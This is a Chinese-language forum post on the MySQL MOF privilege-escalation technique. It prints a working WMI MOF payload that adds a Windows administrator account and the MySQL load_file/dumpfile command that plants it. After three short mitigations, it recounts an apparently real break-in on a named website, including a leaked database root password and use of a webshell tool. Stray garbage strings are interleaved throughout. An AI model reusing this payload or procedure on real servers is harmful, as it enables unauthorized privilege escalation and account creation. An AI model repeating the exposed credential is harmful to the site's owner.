Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
# D7 k- t( c; B
网上公开的一些利用代码:
$ }5 u# L1 ^5 `8 \: q
#pragma namespace(“\\\\.\\root\\subscription”)

, w( g; c" J! g1 N8 g0 Kinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

+ s; P' {5 r1 l" L2 \3 C- S
8 _. `$ X0 Z4 j. q2 o
* ^  d1 Z" F  |$ t7 \

; \! x4 ~8 m, q2 H连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 e5 `+ Y5 e9 s+ N! k7 ?从上面代码来看得出解决办法：
# L& s: d2 C+ @5 S9 ]
3 f) {- h: \% R2 T2 i1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

. d/ N4 i9 A+ g$ }: s" o2、禁止使用”WScript.Shel”组件
! K, v: Z/ q6 _) Q5 Z
1 l* @0 R2 ~" I' n1 |# g0 v9 a# D3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
  h& |  X  g5 g3 q
, G! z8 d7 X, g. r1 A! t/ a当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
; C* ~& g, ^0 T. J
3 X7 i( G& D1 t* m. Y* C% `  ^事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权

0 _# ~, [" W5 D但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

看懂了后就开始练手吧

, |# G1 f1 o" e6 i( b* S0 a- m- ehttp://www.webbmw.com/config/config_ucenter.php 一句话 a

$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
7 X! a4 X2 H. A
  ^3 p, o8 c" c4 W5 E4 g于是直接用菜刀开搞

上马先

; Y. J6 u/ u( I" m- U: ^既然有了那些账号 之类的 于是我们就执行吧…….

+ L9 M) O" O& C. t2 ^小小的说下

' ?8 k' L7 S( O0 v: M3 q, p- R; p; e在这里第1次执行未成功        原因未知
4 Z( E& j0 m5 @& ?& C) u
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
$ A6 u/ r' I  D/ \& t2 T
- ~$ J; O0 p! E6 C) e" J#pragma namespace(“\\\\.\\root\\subscription”)
+ j) \3 G* C% ?$ C2 @4 z5 d
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
2 A" u% a0 ~- D: J- V
我是将文件放到C:\WINDOWS\temp\1.mof

所以我们就改下执行的代码
0 m! p9 a9 `+ A& c  ?
' A& U1 r- l$ r" y( t6 Bselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
0 b, A) F* n+ J# M: P, q
* O" W  k" ]6 s+ K0 X* o

但是 你会发现账号还是没有躺在那里。。
2 i5 q2 \. X( I+ N
于是我就感觉蛋疼
! [, B4 g# u3 o: W# h
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
* @) F' h3 D# T

% l6 k# u* z7 _" g' ?
但是其他库均不成功…

2 I+ k& y! {+ K& V* c8 X& [- E我就很费解呀 到底为什么不成功求大牛解答…
( |+ T9 i; h( }" F! I5 K
​